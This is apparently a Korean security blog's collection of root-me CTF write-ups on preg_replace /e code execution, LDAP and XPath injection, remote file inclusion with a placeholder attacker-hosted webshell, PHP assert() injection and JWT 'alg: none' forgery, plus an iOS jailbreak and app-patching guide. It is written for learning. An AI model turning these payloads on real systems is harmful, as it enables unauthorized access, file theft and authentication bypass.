반응형

PHP 함수 중 preg_replace() 함수 관련된 취약점 문제를 풀어보겠습니다.

 

preg_replace() 함수는 문장 내 정규표현식 패턴을 찾아 다른 패턴으로 바꿔주는 역할을 하는 함수이다.

preg_replace("[패턴]" , "[바꿀 패턴]" , "[바꿀 문장]"); << 형식으로 사용한다.

 

이 함수에서 사용할 수 있는 변경자 중 하나가 /e 인데 이는 replacement 인수에 php 함수를 쓸 수 있도록 허용한다.

 

문제에 접속해보니 3개의 입력 값을 받는 창이 존재하고 있다.

임의로 a, b, c를 넣어보았다.

 

Warning이 발생하면서 하단에 에러 메시지가 출력되고 있습니다.

 

순서대로 /a/e, phpinfo(), a를 입력한다면(flag.php가 아니라 a를 입력해도 가능하다.)

 

a가 phpinfo()의 반환값으로 변환되어 phpinfo() 함수 실행이 가능하다.

이 문제의 목표인 flag.php를 읽어보자.

 

system 함수를 이용해서 flag.php를 시도해보았다.

 

system 함수의 사용이 막혀있어서 해당 명령어 실행이 불가능하였다.

 

system 함수가 아닌 file_get_contents 함수를 이용해서 flag.php 페이지를 불러왔더니,

 

flag값이 출력되었다.

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] LDAP injection - Authentication  (0) 2020.01.08
[root-me] Remote File Inclusion  (0) 2020.01.08
[root-me] PHP - assert()  (0) 2020.01.02
반응형

LDAP Injection 문제를 풀어보겠습니다. 인증 매커니즘을 우회하는 것이 목표입니다.

 

LDAP이란? "TCP/IP를 통해 디렉토리 서비스에 액세스하고 수정하기 위한 프로토콜" 이라고 정의됩니다.

LDAP Injection 공격 또한, SQL Injection 공격 기법과 별반 다르지 않습니다.

공격자는 어플리케이션 측에서 악의적인 LDAP 문법을 이용해 서버가 의도치 않은 행위(명령어 실행 등)를 실행하는 것이 목표입니다.

 

Root-me 문제를 풀면서 이해해보도록 하겠습니다.

LDAP Injection 문제를 클릭하면, 로그인 창이 뜹니다.

로그인 기능이 동작되는지, 취약한 패스워드를 사용하고 있지는 않은지 파악하기 위해 [admin/admin]을 입력해봅니다.

 

[admin/admin]으로는 로그인이 되지 않으며, unknown identifiers라는 에러가 발생합니다.

 

LDAP Injection을 시도할 때, 주로 사용되는 특수문자인 *)를 입력해보았습니다.

LDAP 문법이 어떻게 구성되어 있는지 친절하게 에러로 뱉어줍니다.

 

username에 *)를 입력하니 (uid=*))(userPassword=admin) 이라는 구문이 만들어지기 때문에 이 부분을 활용하면 될 것 같다는 생각이 듭니다.

 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection

위의 링크를 참고해서 LDAP 공격 문자열을 만들었습니다.

 

그래서, uid=*) 까지만 True 값을 만들고 NULL Byte(%00)를 이용해 이후에 입력받는 문자열(패스워드)을 끊어버려 상관없이 만들어줬더니 인증에 성공하였습니다!

 

ch25 계정의 패스워드가 Flag 값입니다...

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] PHP - preg_replace()  (0) 2020.01.08
[root-me] Remote File Inclusion  (0) 2020.01.08
[root-me] PHP - assert()  (0) 2020.01.02
[root-me] JSON Web Token (JWT) - Introduction  (0) 2019.12.20
반응형

Remote File Inclusion 취약점 관련 문제입니다.

 

줄여서 보통 RFI 취약점이라고 통칭하며, 공격자가 악성 스크립트를 서버에 전달해서 해당 페이지를 통해 전달한 악성 스크립트 코드가 실행되도록 하는 공격이라는 점에서 LFI(Local File Inclusion) 취약점과 차이가 있습니다.

 

RFI 취약점을 이용한 공격은 크게 4가지 CASE로 나눠집니다.

CASE1. /vuln.php?param=http://공격자서버/webshell.txt?

RFI 취약점이 발생하는 부분에 원격지의 파일(웹쉘)을 포함시킨다.

CASE2. /vuln.php?param=C:\ftp\upload\exploit

RFI 공격 이전에 미리 올려둔 파일을 호출해서 코드를 실행시킨다.

CASE3. /vuln.php?param=C:\example.txt%00

서버 측에서 .php 확장자가 강제로 적용되는 경우 Null Byte(%00) 문자를 삽입해서 확장자를 제거하고 다른 파일로의 접근이 가능하게 한다.

(NULL Byte 문자가 존재할 경우 문자열 끝으로 판단함)

CASE4. /vuln.php?param=/etc/passwd%00

서버가 UNIX일 경우 /etc/passwd 파일 열람이 가능하다.

 

 

Root-me 문제에서는 4가지 유형 중 첫 번째 CASE를 이용해서 문제를 풀었습니다.

일단 문제에 접속하면 Language: 문자열 옆에 두 개의 버튼이 존재하고 있습니다.

이 중에서 임의로 하나를 클릭해봅니다.

 

버튼을 클릭하면 "lang"이라는 파라미터가 GET 메소드로 en/fr 값을 전송하고 있습니다.

공격 가능성을 판단하기 위해 File Inclusion 취약점에서 자주 사용되는 특수문자 "../"를 삽입해 보았습니다.

 

에러가 발생하면서 에러 메시지를 통해 정보를 제공해주고 있습니다.

File Inclusion 공격이 가능할 것으로 보입니다.

 

RFI 취약점을 이용하기 위해 우선 웹서버를 구동시키고 system 명령어를 이용해 index.php 파일을 열람할 수 있는 코드를 작성하여 로컬(공격자) 웹 서버에 업로드 하였습니다.

 

그 후, nrgok 툴을 이용해 외부에서 접속 가능한 도메인을 만들어 RFI 취약점이 발생한 lang 파라미터에 해당 URL을 삽입하였습니다.

 

에러가 발생했는데, 해당 에러는 보안상 이유로 system 명령어가 막혀있다는 에러입니다.

RFI 공격은 성공한 것으로 보입니다.

 

system 명령어를 사용하지 않고 file_get_contents 함수를 이용해 index.php 파일을 읽을 수 있게 코드를 재작성 한 후 업로드 하였습니다.

 

앞과 똑같은 방법으로 해당 코드를 실행시켰더니, 기존 버튼 위에 이상한 모양의 버튼이 생긴 것을 확인 할 수 있습니다.

 

마우스 우클릭하여 페이지 소스 보기를 클릭합니다.

 

소스 내에 주석으로 FLAG 값이 출력되어 있는 것을 확인할 수 있습니다!!

반응형
반응형

APK_Manager Tool을 사용하다가 디컴파일은 잘 되는데, 컴파일 오류가 발생한 경우라 정리해본다.

 

우선, 디컴파일은 오류없이 진행되었지만 아무 작업(위변조)을 하지 않았는데도 Sign 작업이 이루어지지 않았다.

https://ddungkill.tistory.com/67

 

[Android] Apk_Manager Tool Decompile 오류 해결

APK Maganer Tool 디컴파일 오류 해결 방법 안드로이드 진단을 하면서 주로 APK_Manager 툴을 사용하고 있는데, 9번(Decompile) 오류가 자주 발생되어 아는 해결방법을 정리한다. Solution 1) 최상위 폴더로 이동/..

ddungkill.tistory.com

이전 글을 참고해서 3가지 작업을 진행했는데도 컴파일 오류가 발생해서 툴 디렉터리 내 LOG 파일을 오픈했다.

 

 해당 로그파일을 보면 에러의 원인이 나오는데, 리소스 속성이 없다고 한다...

 

SOLUTION 1)

이유는 모르겠지만 구글링을 해보았더니,

프로젝트 파일 내에 존재하는 '/res/layout-v26/abc_screen_toolbar.xml' << 해당 파일을

 <android.support.v7.widget.ActionBarOverlayLayout android:id="@id/decor_content_parent" android:fitsSystemWindows="true" android:layout_width="fill_parent" android:layout_height="fill_parent" xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto">  <android.support.v7.widget.ActionBarContextView android:theme="?actionBarTheme" android:id="@id/action_context_bar" android:visibility="gone" android:layout_width="fill_parent" android:layout_height="wrap_content" style="?attr/actionModeStyle" /> </android.support.v7.widget.ActionBarOverlayLayout>

 

위 내용을 덮어 써주니 정상적으로 컴파일이 가능했다.

 

APK_Manager 관련 에러는 로그 파일을 통해 대부분 해결 가능할 것으로 보인다.

 

출처 : https://github.com/iBotPeaches/Apktool/issues/1725

 

 

SOLUTION 2)

/Users/XXXX/(Library)/apktool/framework/1.apk << 1.apk 파일을 삭제한다.

반응형
반응형

PHP - assert() 함수 문제를 풀어보겠습니다.

취약한 부분을 찾아서 .passwd 파일을 읽어야합니다.

 

우선, assert() 함수란, 조건이 참이 아닌 경우(거짓인 경우) 경고/에러를 출력하게 하는 함수로, 주로 디버깅 시 많이 사용됩니다. 

 

문제에 들어가보면, [Home], [About], [Contact] 3개의 탭이 있습니다.

일단, [About] 탭을 눌러보겠습니다.

 

"page" 라는 파라미터가 GET 메소드로 전송되고 있고, [About] 탭에 해당하는 페이지가 출력되고 있습니다.

 

"page" 파라미터에 상위 폴더로 이동 가능한 특수문자 "../" 을 입력해보았더니,

assert() 함수로 인해 에러가 출력되고 있습니다.

 

strpos 함수는 문자열이 포함되는지 검사하는 함수인데, 문자 ".." 때문에 공격이 탐지됨을 알 수 있습니다.

 

이번에는 "./" 을 입력해보았는데, 공격이 탐지가 되지는 않지만, 파일이 없다고 나오네요.

 

혹시 될까 싶어서 .passwd 파일을 바로 넣어 보았는데, .php가 자동으로 합쳐져서 없는 파일이라고 출력되는 것을 다시 한 번 확인할 수 있었습니다.

 

"../"을 입력했을 때 출력된 에러메시지를 이용해서 strpos 함수를 강제로 완료한 후 system 명령어를 작성해보았습니다.

system 명령어는 따로 문자열 검사를 하지 않아서 공격으로 간주되지는 않아 보였습니다.

하지만, .php가 강제로 붙어 버려서 syntax 에러가 발생하는 것을 알 수 있습니다.

 

강제로 완료한 strpos 함수를 뒤에 다시 써주고, .passwd 파일을 여는 시스템 명령어를 삽입하면!

FLAG 값을 얻을 수 있습니다.

 

','ㅁ') << 이 ㅁ 부분에 a, b 등이 들어가면 문자열 탐지로 인해 공격으로 간주하는 것 같습니다...

탐지가 안되는 문자 값을 입력해주어야 합니다.

반응형
반응형

JSON Web Token(JWT) 관련 문제를 풀어보았습니다.

우선, JWT란 사용자와 서버간에 안전하고 신뢰할 수 있는 정보를 전달할 수 있는 토큰 값입니다.

주로, 회원 인증이나 안전하게 정보를 전달할 경우 사용되는데, 전달되는 정보들이 sign(서명)되기 때문에 탈취/변조되지 않았는지 판단할 수 있기 때문입니다.

 

문제에 들어가면, 로그인 폼이 나오는데, 여기서 Admin 계정을 탈취하는게 목표입니다.

[Login as Guest!] 버튼을 클릭해봅니다.

 

쿠키 값으로 jwt 값이 전송되는 것을 확인할 수 있습니다.

 

jwt 값은 1. 헤더(Header), 2.정보(Payload), 3.서명(Signature) 값으로 분리되는데, 각각을 BASE64로 인코딩해서 "."으로 구분한 후 전송합니다.

위 스크린샷의 jwt 값을 예로 들으면

이렇게 나뉘어 집니다. 

https://jwt.io/ << 여기에서 jwt 값을 디버깅하고 검증 및 생성할 수 있습니다.

 

헤더(Header)에서는 토큰의 타입(JWT), 해싱 알고리즘(HMAC SHA256 / RSA 등...)을 정의하고 있습니다.

정보(Payload)에서는 전송할 정보 데이터를 담고 있으며,,

서명(Signature)에서 헤더의 인코딩 값과, 정보의 인코딩 값을 합친 후 비밀키로 해싱하여 생성합니다.

 

저는 이 문제를 단순히 정보(payload) 부분의 "guest"를 "admin"으로 변조한 후 전송하면 된다고 생각했습니다.

그래서 PAYLOAD 부분을 admin으로 변조하여 생성된 값을 guest 로 로그인 시 전송되는 jwt 쿠키 값에 삽입해보았습니다.

 

그랬더니... 서명값에 오류가 있다고 출력되더라고요. 

비밀키를 모르는데 어떻게 변조를 하지 고민하다가 구글링으로 JWT Attack 케이스를 발견하였습니다.

 

CASE1. 중요 정보 노출(이거는 jwt.io로 디버깅/BASE64로 디코딩 했을 때 노출되는 정보들..)

CASE2. algorithm 값이 none

CASE3. algorithm 변조(RS256 to HS256)

CASE4. HS256 key Cracking

 

이렇게 4가지 케이스가 있더라고요. 저는 CASE2 방법을 이용해보았습니다.

헤더(Header) 부분의 alg 값을 none으로 변조하고, 서명(Signature) 값을 제거한 후 전송하는 방법입니다.

 

즉, 위와 같이 인코딩한 값을 [Header + "." + Payload + "."] 서명 값 없이 서버로 전송하였더니,

※ 참고로 jwt 값은 공백과 엔터 없이 BASE64로 인코딩되어야 하며, 인코딩 시 뒤에 패딩 문자(=, ==)는 제거해서 전송

 

Admin 권한을 획득할 수 있었습니다!!


참고자료

EN - Hacking JSON Web Token (JWT) - Rudra Pratap.pdf
0.30MB

 

문제되는 경우 삭제 처리 하겠습니다...

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] Remote File Inclusion  (0) 2020.01.08
[root-me] PHP - assert()  (0) 2020.01.02
[root-me] XPath injection - authentication  (0) 2019.07.25
[root-me] SQL Truncation  (0) 2019.07.18
[root-me] CRLF  (0) 2019.07.18
반응형

Step 1. 탈옥된 디바이스 준비

- 현재, Apple 사에서 Cydia Impactor 사용을 서버단에서 막아서 (Impactor를 이용한) 탈옥툴 설치가 불가능함.

- Apple Developer Account로만 Impactor 사용 가능(연회비 \130000 정도)

- 3uTools 라는 툴을 이용해 탈옥 가능!! (ios 12 버전 까지만)

- 3uTools는 중국에서 개발한 ifunbox 대체 툴이며, 탈옥 기능이 내장되어 있음.

 

탈옥 후, iFunbox로 연결하면 [Jailed/Jailbroken] 항목에 "Jailbroken"이 쓰여 있어야한다.

탈옥은 되었지만, "탈옥 안 됨"이라고 쓰여 있는 경우, Cydia 앱에서 "Apple file conduit2"를 설치/재설치한다.

 

Step 2.  Clutch로 진단할 Application 복호화

- ssh로 디바이스 접속 ( Default 계정 : root / alpine )

- clutch 설치

- 설치된 경로로 이동( 보통 /usr/bin/ )

- 명령어를 통해 앱 복호화

./clutch -i // 복호화할 앱 리스트 출력

./clutch -b [num] // 복호화할 앱 선택

 

Step 3. 앱 분석 & 코드 변경 (탈옥 우회 / 무결성 검증)

- clutch로 복호화한 앱은 /var/tmp/clutch/--- 밑에 있음.

- 실행 파일을 PC로 가져와서 분석 및 코드 변경

- 탈옥 우회 시 보통 IDA로 분석 후 HxD로 조작

- 무결성 검증 시엔 실행파일 Hash 값 비교(HashCalc 등 사용)

 

Step 4. 실행파일 업로드

- 변조/조작한 실행 파일을 설치 경로에 붙여넣기

- 보통 /var/containers/Bundle/Applications/--- 하위임.

- 기존 실행파일 삭제 후 업로드

- chmod 명령어를 이용해 권한 부여 ( chmod 777 [파일 이름] )

 

Step 5. 변조된 앱 실행

- 변조된 앱을 재실행하여 탈옥 / 무결성 우회 가능 판단

반응형

반응형

Xpath injection 문제를 풀어보았습니다.

관리자 패스워드를 획득하는 것이 목적입니다.

아직 Xpath Injection에 대한 개념이 없어서 사전 검색을 먼저 해보았습니다.

 

Xpath Injection 이란?
  • XML 구조에 악의적인 쿼리/구문을 삽입하여 정보를 탈취하는 공격
  • XML DB 내용을 선택 및 조작
  • XML : 데이터를 트리 구조의 노드로 표현하며, 사용자 정의로 데이터 분류가 가능함(=구조화된 데이터베이스 조작)
  • 즉, XML이 DB, Xpath를 SQL 이라고 생각하면 된다.
Xpath 명령어
/ 최상위 노드
// 현재 노드로부터 모든 노드 조회
* 모든 노드 조회
. 현재 노드
.. 현재 상위 노드 접근
parent 현재 노드의 부모 노드
child 현재 노드의 자식 노드
[] 조건문 
node() 현재 노드로부터 모든 노드 조회

 

Xpath 함수
count() 노드들의 개수를 반환하는 함수
string-length() 문자열의 길이를 반환하는 함수
::* 지정 노드의 모든 내용
name() 노드의 이름을 반환하는 함수
substring() 지정한 문자열을 반환하는 함수
position() 노드의 위치를 반환하는 함수
string() 인자로 받은 값을 문자열로 반환하는 함수

 

문제 풀이

문제에 들어가면, 메뉴가 3개가 보입니다.

 

Members 메뉴를 클릭하면 계정 리스트가 보입니다. 그 중에서 두 번째 열의 John이 관리자군요.

John의 패스워드를 획득해야 합니다.

 

Login 메뉴를 클릭하였더니, Username과 Password를 입력하는 창이 보입니다.

Xpath injection이 가능한지 여부를 판단하기 위해 특수문자를 입력해 보았습니다.

 

[Step1. 취약 여부 판단1]

특수문자를 입력해보았더니 XML 문법 관련 Error가 뜹니다. 여기가 구멍일 것 같다는 느낌이 듭니다.

 

[Step2. 취약 여부 판단2]

이번에는 username : admin / password : 'or '1'='1 값을 입력해보았더니, Steve 계정으로 로그인이 되었습니다.

응답 값에서 해당 계정의 username과 password 값이 확인됩니다.

 

username : admin / password : 'or '1'='2즉 쿼리 구문이 거짓인 경우에는 "Wrong credentials" 로그인 실패 구문이 출력되는 것을 확인 할 수 있습니다.

확실하게 Xpath Injection이 가능하다는 판단을 할 수 있습니다.

 

[Step3. 자신과 동일한 위치의 자식노드 개수 파악] 

본격적으로 관리자의 패스워드를 알아내기 위해 인젝션을 시도해봐야겠죠.

우선, 동일한 위치의 자식노드 개수를 파악해보았습니다.

'and count(../chile::*)=3 or '1'='2

위의 결과(로그인 성공)로 인해 자식 노드가 3개 인것을 확인 할 수 있습니다.

(사실 members 메뉴에서 3개의 계정이 있다는 것을 미리 알고 있기 때문에 이 Step은 생략해도 무방합니다.)

 

[Step4. 부모 노드의 이름 길이가 몇 자인지 파악]

XML 데이터를 파악하려면 부모 노드의 이름을 알아야 합니다. 우선 길이부터 파악하는 것이 빠르겠죠.

'and string-length(name(parent::*))=8

string-length 함수를 사용하여 부모 노드의 이름 길이가 8자임을 알아냈습니다.

 

[Step5. 부모 노드의 이름 파악]

Blind Injection 공격을 이용하여 한 글자씩 파악해보았습니다.

'and substring(name(parent::*), 1, 1)='d' or '1'='2

부모 노드의 첫 글자가 d라는 것을 알 수 있습니다.

위와 같은 방법으로 두번째, 세번째, 8번째 길이까지 알아낸다면, 이름이 "database" 임을 알 수 있죠.

 

[Step6. 첫번째 자식 노드의 이름 파악]

부모 노드의 이름이 database 인 것을 알아냈으니 첫번째 자식 노드의 이름을 알아낼 차례입니다.

이 또한 substring 함수를 이용해 한 글자씩 알아낼 수 있습니다.

'and substring(name(../child::*[position()=1]), 1, 1)='u' or '1'='2

위의 결과로 첫번째 자식 노드의 이름인 "user" 를 획득하였습니다.

 

[Step7. 첫번째 자식 노드(user)의 자식 노드 개수 파악]

부모 노드(database) 밑에 자식노드(user)가 존재함을 알아냈고, 이번엔 user의 자식노드 개수를 알아 봅시다.

앞에서와 마찬가지로 count 함수를 이용해 쉽게 파악할 수 있습니다.

'and count(/database/user[1]/child::*)=5 or '1'='2

user의 자식 노드 개수는 5개네요.

 

[Step8. 첫번째 user 노드의 첫번째 자식노드 정보 파악]

user 노드에 5개의 자식노드가 존재함을 알아 내었으니, 해당 자식 노드들의 이름을 파악해야겠죠.

string-length, substring 함수들을 적절히 사용하여 첫 번째 자식노드가 "userid" 라는 것을 알아내었습니다.

 

[Step9. 첫번째 user 노드의 두번째 자식노드 정보 파악]

이번에는 position 값을 2로 설정하여 user의 두번째 자식 노드 이름이 "username" 임을 확인합니다.

 

[Step10. 첫번째 user 노드의 세번째 자식노드 정보 파악]

user의 세번째 자식 노드의 이름이 "password" 입니다!

이 노드를 이용하여 관리자의 패스워드를 파악할 수 있겠다는 생각이 듭니다.

 

[Step11. 첫번째 user 노드의 두번째 자식노드 username의 값 획득]

이제 전반적인 노드 구조를 파악했으니, 해당 노드에 매칭되는 값을 획득해야겠죠.

해당 노드에 들어있는 값을 가져오는 string 함수를 이용합니다.

'and string(/database/user[1]/username)='Steve' or '1'='2

위의 결과로 인해 첫번째 user 노드의 username 값이 Steve 임을 알아낼 수 있죠.

 

[Step12. 두번째 user 노드의 두번째 자식노드 username의 값 획득]

하지만 저희는 관리자의 패스워드가 필요합니다.(Steve의 패스워드는 이미 testing123임을 알 수 있음)

그래서 부모 노드(database)의 두번째 user 노드의 username 값을 확인하였더니 John, 즉 관리자가 들어 있는 것을 확인할 수 있습니다. 두번째 노드의 패스워드 값만 알면 되겠네요.

 

[Step13. 두번째 user 노드의 세번째 자식노드 password의 값 파악]

무턱대고 Blind Injection을 수행하기 전, 사전 정보인 길이를 확인했더니 23자임을 알 수 있네요.

 

substring 함수를 이용해 23자까지 값을 알아내보겠습니다. 우선 첫번째 값은 6이군요.

 

쉽게 인젝션을 하기 위해 저는 Burp Suite의 Intruder 기능을 이용하였습니다.

이로 인해 관리자의 패스워드를 획득할 수 있고, 이것이 Flag 값입니다^^

 

[ETC. 트리구조]

 

[ETC. XML 구조]

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] PHP - assert()  (0) 2020.01.02
[root-me] JSON Web Token (JWT) - Introduction  (0) 2019.12.20
[root-me] SQL Truncation  (0) 2019.07.18
[root-me] CRLF  (0) 2019.07.18
[root-me] Javascript - Obfuscation1  (0) 2019.04.15

+ Recent posts

반응형
반응형